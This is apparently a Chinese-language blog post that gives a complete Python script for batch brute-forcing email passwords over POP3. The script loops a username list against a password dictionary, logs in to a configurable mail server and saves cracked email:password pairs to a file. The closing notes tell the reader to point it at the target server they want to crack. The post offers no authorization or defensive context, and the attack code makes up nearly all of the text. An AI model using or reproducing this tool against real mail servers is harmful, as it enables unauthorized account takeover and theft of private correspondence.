利用python脚本对邮箱密码进行批量爆破
import poplib # 导入POP3库
from email import parser # 导入邮件解析器
from getpass import getpass # 导入密码输入函数
pop_server = 'mail.test.com' # 设置POP3服务器地址,改成需要爆破的目标邮箱pop3服务器地址
pop_port = 995 # 设置POP3端口号,改成需要爆破的目标邮箱pop3服务器地址端口号
def check_email_login(email, password, server, port):
try:
# 连接到POP3服务器
pop_conn = poplib.POP3_SSL(server, port)
pop_conn.user(email) # 使用用户名登录
pop_conn.pass_(password) # 使用密码登录
# 获取邮箱消息
num_messages = len(pop_conn.list()[1]) # 获取邮件数量
print(f"登录成功! 您有 {num_messages} 封邮件.")
# 关闭连接
pop_conn.quit()
return True # 返回登录成功标志
except Exception as e:
print("登录失败:", e) # 打印登录失败信息
return False # 返回登录失败标志
def main():
with open("email_userlist.txt", "r") as f_emails: # 打开邮箱地址列表文件,改成自己的邮箱用户字典文件名字
email_addresses = f_emails.read().splitlines() # 读取文件内容并按行划分为列表,改成自己的邮箱密码字典文件名字
with open("email_passwdlist.txt", "r") as f_passwords: # 打开密码字典文件
passwords = f_passwords.read().splitlines() # 读取文件内容并按行划分为列表
successful_logins = [] # 初始化成功登录邮箱列表
for email_address in email_addresses: # 遍历邮箱地址列表
for password in passwords: # 遍历密码字典
print(f"尝试登录邮箱地址:{email_address},密码:{password}") # 打印尝试登录的邮箱地址和密码
if check_email_login(email_address, password, pop_server, pop_port): # 调用登录函数
successful_logins.append((email_address, password)) # 如果登录成功,将邮箱地址和密码添加到成功登录列表中
break # 如果成功登录,跳出当前密码的循环
if successful_logins: # 如果有成功登录的邮箱
with open("result.txt", "w") as f_result: # 打开输出文件
for email_address, password in successful_logins: # 遍历成功登录的邮箱列表
f_result.write(f"{email_address}:{password}\n") # 将邮箱地址和密码写入文件中,并换行
print("成功登录的邮箱地址和密码已写入result.txt文件中.") # 提示成功写入文件
else:
print("没有成功登录的邮箱地址.") # 提示没有成功登录的邮箱地址
if __name__ == "__main__":
main() # 执行主函数
注意事项:
pop_server = 'mail.test.com' # 设置POP3服务器地址,改成需要爆破的目标邮箱pop3服务器地址
pop_port = 995 # 设置POP3端口号,改成需要爆破的目标邮箱pop3服务器地址端口号
将“email_userlist.txt”和“email_passwdlist.txt” #改成自己的邮箱用户和密码字典文件名字,并放入到脚本同级目录下
标签:登录,批量,邮箱地址,python,pop,密码,邮箱,email From: https://www.cnblogs.com/hkgan/p/18143230